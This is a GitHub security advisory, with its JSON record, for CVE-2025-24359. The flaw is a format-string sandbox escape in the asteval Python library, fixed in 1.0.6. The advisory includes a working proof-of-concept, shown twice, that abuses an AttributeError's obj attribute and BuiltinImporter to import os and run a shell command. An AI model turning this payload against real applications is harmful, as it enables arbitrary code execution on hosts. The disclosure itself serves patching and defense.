GHSA-3WWR-3G9F-9GC7

Vulnerability from github – Published: 2025-01-24 18:45 – Updated: 2025-01-25 00:54
VLAI?
Summary
ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape
Details

Summary

If an attacker can control the input to the asteval library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.

Details

The vulnerability is rooted in how asteval performs handling of FormattedValue AST nodes. In particular, the on_formattedvalue value uses the dangerous format method of the str class, as shown in the vulnerable code snippet below:

    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
        "formatting used in f-strings"
        val = self.run(node.value)
        fstring_converters = {115: str, 114: repr, 97: ascii}
        if node.conversion in fstring_converters:
            val = fstring_converters[node.conversion](val)
        fmt = '{__fstring__}'
        if node.format_spec is not None:
            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
        return fmt.format(__fstring__=val)

The code above allows an attacker to manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val). This vulnerability can be exploited to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.

PoC

The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:

from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
#     ga

def pwn():
    try:
        f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
    except Exception as ga:
        ga = ga.obj
        sub = ga(dict.mro()[1],"__subclasses__")()
        importer = None
        for i in sub:
            if "BuiltinImporter" in str(i):
                importer = i.load_module
                break
        os = importer("os")
        os.system("whoami")

# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works

pwn()
"""
aeval(code)
Severity ?
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "asteval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-24T18:45:30Z",
    "nvd_published_at": "2025-01-24T17:15:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval\u0027s restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n    def on_formattedvalue(self, node): # (\u0027value\u0027, \u0027conversion\u0027, \u0027format_spec\u0027)\n        \"formatting used in f-strings\"\n        val = self.run(node.value)\n        fstring_converters = {115: str, 114: repr, 97: ascii}\n        if node.conversion in fstring_converters:\n            val = fstring_converters[node.conversion](val)\n        fmt = \u0027{__fstring__}\u0027\n        if node.format_spec is not None:\n            fmt = f\u0027{{__fstring__:{self.run(node.format_spec)}}}\u0027\n        return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n#     ga\n    \ndef pwn():\n    try:\n        f\"{dict.mro()[1]:\u0027\\\\x7B__fstring__.__getattribute__.s\\\\x7D\u0027}\"\n    except Exception as ga:\n        ga = ga.obj\n        sub = ga(dict.mro()[1],\"__subclasses__\")()\n        importer = None\n        for i in sub:\n            if \"BuiltinImporter\" in str(i):\n                importer = i.load_module\n                break\n        os = importer(\"os\")\n        os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n        \npwn()\n\"\"\"\naeval(code)\n\n```",
  "id": "GHSA-3wwr-3g9f-9gc7",
  "modified": "2025-01-25T00:54:49Z",
  "published": "2025-01-24T18:45:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lmfit/asteval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507"
    },
    {
      "type": "WEB",
      "url": "https://lucumr.pocoo.org/2016/12/29/careful-with-str-format"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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